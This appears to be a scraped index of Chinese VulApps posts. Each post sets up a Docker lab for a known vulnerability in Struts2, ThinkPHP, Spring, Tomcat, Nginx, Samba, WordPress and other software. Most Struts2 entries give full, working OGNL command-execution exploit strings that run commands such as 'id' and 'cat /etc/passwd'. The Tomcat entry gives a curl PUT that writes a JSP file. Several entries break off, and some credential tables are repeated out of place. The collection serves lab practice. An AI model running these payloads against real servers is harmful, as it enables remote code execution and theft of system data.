VulApps

ThinkPHP 5.0,5.1 远程代码执行漏洞

Sun, 09 Dec 2018 03:19:15 +0000

影响版本

ThinkPHP < 5.0.23 ThinkPHP < 5.1.31

修复版本

ThinkPHP 5.0.23

ThinkPHP 5.1.31

补丁发布日期为: 2018年12月9日

镜像信息 (FROM virink/tpgetshell)

类型	值
端口	80
ThinkPHP	5.1.30

获取环境:

拉取镜像到本地

$ docker pull medicean/vulapps:t_thinkphp_2

启动环境

$ docker run -d -p 80:80 medicean/vulapps:t_thinkphp_2

-p 80:80 前面的 80 代表物理机的端口，可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/,...

Struts2 远程代码执行漏洞(S2-057)

Wed, 22 Aug 2018 06:19:15 +0000

漏洞信息

S2-057 公告

获取环境:

拉取镜像到本地

$ docker pull medicean/vulapps:s_struts2_s2-057

启动环境
```
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-057 
```
-p 80:8080 前面的 80 代表物理机的端口，可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/

PoC

例如目标地址为：http://127.0.0.1:8080/

访问 http://127.0.0.1:8080/${(111+111)}/actionChain1.action

然后 URL 会变为 : http://127.0.0.1:8080/222/register2.action, 其中 222 部分为 ognl 表达式 ${(111+111)} 执行结果。

Exp

暂无

修复建议

升级Apache struts 至 2.5.17 版本或者 2.3.35 版本

...

Git远程代码执行漏洞(CVE-2018-11235)

Fri, 01 Jun 2018 12:12:41 +0000

Git远程代码执行漏洞(CVE-2018-11235)

漏洞信息

近日，微软 Visual Studio 团队项目经理 Edward Thomson 在其博客中对外披露，Git 社区最近发现了一个严重漏洞，Git 子模块在解析时可能导致git clone --recursive执行任意命令。

Git 和众多提供 Git 托管服务的公司都开始安装相关补丁程序，用以修补 Git 源码版本控制系统的一个危险漏洞。该补丁程序将包含在 Git 2.17.1 中，主要修补了两个安全漏洞 CVE-2018-11233 和 CVE-2018-11235。

影响范围

Git < 2.17.1

镜像信息

Vul 镜像

该镜像模拟的是一个可在线 clone git 仓库的 web 界面，通过接收用户输入 URL, 将远程仓库 clone 到本地。在此例中充当受害者服务。

类型	值
Git	1.9.1-1
HTTP 端口	80
镜像 tag	g_git_1

Exp 镜像

该镜像提供了 git web 服务，可生成带有攻击脚本的仓库，在此例中充当攻击者服务。

...

ThinkPHP Builder.php SQL注入漏洞

Mon, 16 Apr 2018 12:12:41 +0000

ThinkPHP Builder.php SQL注入漏洞

漏洞信息

获取环境:

拉取镜像到本地

$ docker pull medicean/vulapps:t_thinkphp_1

启动环境
```
$ docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1 
```
-p 80:80 前面的 80 代表物理机的端口，可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 80

PoC

1.访问 http://127.0.0.1/，测试服务是否启动成功。

该 Demo 是个消息盒子，灰色是已读消息，黑色为未读消息，当批量标记已读时，会触发漏洞

2.打开Burp，开启抓包，选择消息类别后，点击「标记已读」按钮，截获到数据包

该请求为 GET, 请求的 URL 为:

http://127.0.0.1/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF 

3.修改GET参数category,提交到服务端后页面出现SQL注入报错结果:

Spring Data Commons 代码执行漏洞(CVE-2018-1273)

Fri, 13 Apr 2018 05:12:41 +0000

Spring Data Commons 代码执行漏洞(CVE-2018-1273)

漏洞信息

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

获取环境:

拉取镜像到本地

$ docker pull medicean/vulapps:s_spring_2

启动环境
```
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_2 
```
-p 8080:8080 前面的 8080 代表物理机的端口，可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080

PoC

访问 http://127.0.0.1:8080/users，测试服务是否启动成功
发送如下数据包,执行命令为: /bin/touch /tmp/vuln

POST /users?page=&size=5 HTTP/1.1 Host: 

Spring Data REST PATCH请求代码执行漏洞(CVE-2017-8046)
Fri, 29 Sep 2017 05:12:41 +0000
漏洞信息
  CVE-2017-8046: RCE in PATCH requests in Spring Data REST
 这个Spring高危漏洞，你修补了吗？– 其河@美团点评技术团队
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_spring_1 
 
 
 启动环境 $ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1 
 
  -p 8080:8080 前面的 8080 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080
 PoC
   访问 http://127.0.0.1:8080/，测试服务是否启动成功 
 
 利用 POST 请求添加一个数据  POST /persons HTTP/1.1 ...


Tomcat 远程代码执行漏洞 (CVE-2017-12615)
Wed, 20 Sep 2017 16:47:08 +0000
漏洞信息
  Fixed in Apache Tomcat 7.0.81
 Tomcat代码执行漏洞分析测试(附POC)
 
  根据测试发现 7.0.81 并未修复完全，可绕过，具体参考下方paper链接
 
  云鼎实验室：Tomcat 远程代码执行漏洞分析（CVE-2017-12615）及补丁 Bypass
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:t_tomcat_1 
 
 
 启动环境 $ docker run -d -p 8080:8080 medicean/vulapps:t_tomcat_1 
 
  -p 8080:8080 前面的 8080 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 访问 http://你的 IP 地址:端口号/
 PoC
  向目标发起 PUT 请求，注意后缀为 .jsp/ $ curl -X PUT "http://127.0.0.1:8080/123.jsp/" -d '<%out.println("test");%>' 
 
 ...


JBoss 「Java 反序列化」过程远程命令执行漏洞(CVE-2015-8103)
Tue, 12 Sep 2017 03:20:39 +0000
说明
 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章。文中提到了2015年1月 AppSec2015 上一个关于各语言序列化操作利用议题《Marshalling Pickles》，其中介绍了 Ruby、Python、PHP 和 Java 中反序列化操作的危害，详细说明了 Java 中如何使用 Apache Commons Collections 这个常用库来构造 POP 链（类ROP链）来进行任意命令执行，并且提供了相应的 Payload 生成工具 – ysoserial。
 原博文所提到的 WebSphere，WebLogic，JBoss，Jenkins 和 OpenNMS 等 Java 应用都使用了 Apache Commons Collections 这个库，并且都存在一个序列化对象数据交互接口能够被访问到。针对每个应用，博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性。
 漏洞信息
  JBoss “Java 反序列化”过程远程命令执行漏洞
 What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
 常见 Java Web 容器通用远程命令执行漏洞
 FoxGlovesec JavaUnserializeExploits
 Java反序列化漏洞执行命令回显实现及Exploit下载
 
 镜像默认信息

...


Struts2 远程代码执行漏洞(S2-053)
Thu, 07 Sep 2017 16:56:15 +0000
 漏洞信息
  S2-053 公告
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_struts2_s2-053 
 
 
 启动环境 $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053 
 
  -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 访问 http://你的 IP 地址:端口号/
 PoC
   访问 Demo 页面, 随便输入值，可看到页面输出我们提交的值 
 
  在输入框中输入 %{100-3}，然后提交，发现 %{} 中的表达式被执行 
 
 
 Exp
 命令执行 Exp(有回显):
 %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}...


Struts2 远程代码执行漏洞(S2-052)
Wed, 06 Sep 2017 02:19:23 +0000
 漏洞信息
  S2-052 公告
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_struts2_s2-052 
 
 
 启动环境 $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052 
 
  -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 访问 http://你的 IP 地址:端口号/
 Exp
  来源：Tomcat部署war - caiqiiqi的博客
 
 执行 /usr/bin/touch /tmp/vuln 命令：
 POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0...


SSH 命令注入漏洞(CVE-2017-1000117)
Sat, 12 Aug 2017 18:54:47 +0000
漏洞信息
 恶意人员可以通过巧妙构造 ssh://… 链接，让受害人在执行程序等情况下访问该恶意链接，从而达到命令执行的目的。
 影响范围
 修复版本
  Git v2.14.1、2.7.6、v2.8.6、v2.9.5、v2.10.4、v2.11.3、v2.12.4 和 v2.13.5
 
 镜像信息

类型	值
JBoss 版本	6.1.0.Final
物理路径

类型	值
Git	1.9.1
HTTP 端口	80
镜像 tag	`s_ssh_1`

 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_ssh_1 
 
 
 启动环境 $ docker run -d -p 8000:80 medicean/vulapps:s_ssh_1 
 
  -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。
 ...



Supervisor Remote Code Execution(CVE-2017-11610)
Thu, 27 Jul 2017 16:41:04 +0000
漏洞信息
 Supervisor 是用 Python 开发的一套通用的进程管理程序，能将一个普通的命令行进程变为后台 daemon，并监控进程状态，异常退出时能自动重启。Supervisor可通过web接口管理服务，在配置了web接口后，同时会在服务器启动一个 XMLRPC 服务器，端口为 9001。该接口可配置需要密码访问，或者无需认证访问。
 在获取该接口的访问权限后，远程攻击者可发送一段精心构造的请求，可在服务器执行任意代码。
 详细信息参考：[CVE-2017-11610] RCE vulnerability report
 影响版本
 大于 3.0
 已经确认：
  Supervisor 3.1.2
 Supervisor 3.3.2
 
 已修复此漏洞版本
  Supervisor 3.3.3
 Supervisor 3.2.4
 Superivsor 3.1.4
 Supervisor 3.0.1
 
 镜像信息
    类型  用户名  密码  
 
   http://127.0.0.1/9001/RPC2  vulapps  vulapps  
 
 
  本环境默认无认证，如需开启，请修改 /etc/supervisor.conf 文件
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_supervisor_1 
 
 
 启动环境 $ docker...


HawkEye
Mon, 17 Jul 2017 16:41:04 +0000
项目地址：https://github.com/0xbug/Hawkeye
 工具作者：0xbug
 工具简介
 Hawkeye是用来监控 github 代码库，及时发现员工托管公司代码到 GitHub 行为并预警，降低代码泄露风险
 镜像信息
    类型  用户名  密码  
 
   mongodb  空  空  
  mongodb路径  /var/lib/mongodb  -  
  Hawkeye路径  /opt/hawkeye  -  
  Hawkeye 端口  80  -  
 
 
 获取环境
  拉取镜像到本地 $ docker pull medicean/vulapps:tools_hawkeye 
 
 
 启动环境 $ docker run 

Nginx整数溢出漏洞 (CVE-2017-7529)
Fri, 14 Jul 2017 03:03:29 +0000
漏洞信息
 当使用nginx标准模块时，攻击者可以通过发送包含恶意构造 range 域的 header 请求，来获取响应中的缓存文件头部信息。在某些配置中，缓存文件头可能包含后端服务器的IP地址或其它敏感信息，从而导致信息泄露。
 参考：【漏洞分析】Nginx range 过滤器整形溢出漏洞 (CVE–2017–7529)预警分析
 漏洞影响
 该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。
 当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。
 通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。
 影响版本
 Nginx version 0.5.6 - 1.13.2
 修复版本
 Nginx version 1.13.3, 1.12.1
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:n_nginx_1 
 
 
 启动环境 $ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1 
 
  -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 POC
 1.访问缓存文件拿到 Content-Length，以 /proxy/demo.png 为例：
 $ curl -I http://127.0.0.1:8000/proxy/demo.png HTTP/1.1 200 OK Server: nginx/1.13.1 Date: Wed,...


Struts2-struts1-plugin 插件远程代码执行漏洞(S2-048)
Fri, 07 Jul 2017 15:57:35 +0000
漏洞信息
  S2-048 公告
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_struts2_s2-048 
 
 
 启动环境 $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-048 
 
  -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
 
 
 
 使用与利用
 访问 http://你的 IP 地址:端口号/
 PoC
  例如目标地址为：http://127.0.0.1:32768/
 
 1.访问本例目标地址
 http://127.0.0.1:32768/integration/editGangster.action
 
 2.如下图在Gangster Name字段输入 Payload 
 3.提交后可看到表达式被执行 
 EXP
 核心部分如下：
 %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 
 需要再指定一个 cmd 参数，传入要执行的命令：
 
 参考链接
 ...


Drupal PECL YAML parser 远程代码执行漏洞(CVE-2017-6920)
Thu, 29 Jun 2017 15:57:35 +0000
 漏洞信息
 Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞。
 影响版本
 Drupal < 8.3.4
 镜像信息
    类型  用户名  密码  
 
   Mysql  root  root  
  /user/login  admin  admin123  
 
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:d_drupal_1 
 
 
 启动环境 $ docker run -d -p 8000:80 medicean/vulapps:d_drupal_1 
 
  -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。
 
 ...


FFmpeg 文件读取漏洞(CVE-2017-9993)
Wed, 28 Jun 2017 14:15:32 +0000
漏洞信息
 FFmpeg是一个完整的跨平台解决方案，用于记录、转换流式传输音频和视频，可用于预览生成和视频转换的视频编码软件。已知FFmpeg可以处理可能包含对外部文件的引用的HLS播放列表,可以使用AVI文件中的GAB2字幕块来触发此功能，再通过XBIN编解码器检索转换节点的本地文件，从而导致了可以在转码后的视频里包含了本地文件.
 影响范围
 小于 2.8.12, 3.0.x 以及 3.1.x 版本小于 3.1.9, 3.2.x 小于 3.2.6, 以及 3.3.x 版本小于 3.3.2
 镜像信息
    类型  值  
 
   FFmpeg  3.1.3  
  HTTP 端口  80  
  镜像 tag  f_ffmpeg_1  
 
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:f_ffmpeg_1 
 
 
 启动环境 $ docker run -d -p 8000:80 medicean/vulapps:f_ffmpeg_1 
 
  -p 8000:80 前面的 8000...


Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Sat, 17 Jun 2017 18:26:53 +0000
漏洞信息
  CVE-2017-4971：Spring WebFlow 远程代码执行漏洞分析
 
 影响版本
 Spring WebFlow 2.4.0 ~ 2.4.4
 镜像信息
    类型  用户名  密码  
 
   测试帐号1  keith  melbourne  
  测试帐号2  erwin  leuven  
  测试帐号3  jeremy  atlanta  
  测试帐号4  scott  rochester  
  登陆地址  /login  -  
  容器tomcat端口  8080  -  
 
 ...


XunFeng
Sat, 17 Jun 2017 03:19:38 +0000
巡风官方已经推出Docker环境，体验新版本建议直接使用官方镜像
 项目地址： https://github.com/ysrc/xunfeng
 工具简介
 巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统，通过搜索功能可清晰的了解内部网络资产分布情况，并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。
 其主体分为两部分：网络资产识别引擎，漏洞检测引擎。
 网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测（支持调用MASSCAN），并进行指纹识别，识别内容包括：服务类型、组件容器、脚本语言、CMS。
 漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测，其支持2种插件类型、标示符与脚本，均可通过web控制台进行添加。
 镜像信息
    类型  用户名  密码  
 
   管理员  admin  xunfeng321  
  mongodb  scan  scanlol66  
  巡风物理路径  /opt/xunfeng  -  
  MASSCAN 路径  /opt/xunfeng/masscan/linux_64/masscan  -  
  mongodb 端口  65521  -  
 
 
 获取环境
 1.拉取镜像到本地
 $ docker pull medicean/vulapps:tools_xunfeng 
 2.启动环境...


WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)
Fri, 16 Jun 2017 17:33:43 +0000
漏洞信息
 WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。
 影响版本
 WordPress <= 4.6
 镜像信息
    类型  用户名  密码  
 
   Mysql  root  root  
  /wp-admin/  admin  admin123  
 
 
 获取环境:
 1.拉取镜像到本地
 $ docker pull medicean/vulapps:w_wordpress_6 
 2.启动环境
 $ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6 
  -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。
 ...


Struts2 远程代码执行漏洞(S2-029)
Tue, 13 Jun 2017 10:44:00 +0000


漏洞信息


  S2-029 公告


详细参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-029
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-019)
Tue, 13 Jun 2017 10:43:59 +0000


漏洞信息


  S2-019 公告


详细参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-019
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-019
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27id%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-016)
Tue, 13 Jun 2017 10:43:58 +0000


漏洞信息


  S2-016 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-016
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-016
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-015)
Tue, 13 Jun 2017 10:43:57 +0000


漏洞信息


  S2-015 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-015
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-015
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

/${ %23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-013)
Tue, 13 Jun 2017 10:43:56 +0000


漏洞信息


  S2-013 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-013
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-013
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-012)
Tue, 13 Jun 2017 10:43:55 +0000


漏洞信息


  S2-012 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-012
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-012
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}






其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-008)
Tue, 13 Jun 2017 10:43:54 +0000


漏洞信息


  S2-008 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-008
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-008
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29)




其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-007)
Tue, 13 Jun 2017 10:43:53 +0000


漏洞信息


  S2-007 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-007
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-007
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行(命令加参数：getRuntime().exec(‘cat /etc/passwd’))

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())) + '






其它

感谢 @zerokeeper 贡献


Struts2 远程代码执行漏洞(S2-001)
Tue, 13 Jun 2017 10:43:52 +0000


漏洞信息


  S2-001 公告


参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:


  拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-001
    
  
  启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-001
    
    
      -p 80:8080 前面的 80 代表物理机的端口，可随意指定。
    
  


使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行(命令加参数：new java.lang.String[]{"cat","/etc/passwd"})

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}






其它

感谢 @zerokeeper 贡献


Samba远程代码执行漏洞(CVE-2017-7494)
Thu, 25 May 2017 05:29:51 +0000
漏洞信息
 2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
  Remote code execution from a writable share.
 
 镜像信息
    类型  值  
 
   samba 端口  445  
 
 
 获取环境:
  拉取镜像到本地 $ docker pull medicean/vulapps:s_samba_1 
 
 
 启动环境 $ docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1 
 
  -p 445:445 前面的 445 代表物理机的端口
 
 
 
 利用步骤
 假定目标 IP 是： 192.168.35.197

类型	用户名	密码
mongodb	空	空
mongodb路径	/var/lib/mongodb	-
Hawkeye路径	/opt/hawkeye	-
Hawkeye 端口	80	-

类型	用户名	密码
测试帐号1	keith	melbourne
测试帐号2	erwin	leuven
测试帐号3	jeremy	atlanta
测试帐号4	scott	rochester
登陆地址	/login	-
容器tomcat端口	8080	-

类型	用户名	密码
管理员	admin	xunfeng321
mongodb	scan	scanlol66
巡风物理路径	/opt/xunfeng	-
MASSCAN 路径	/opt/xunfeng/masscan/linux_64/masscan	-
mongodb 端口	65521	-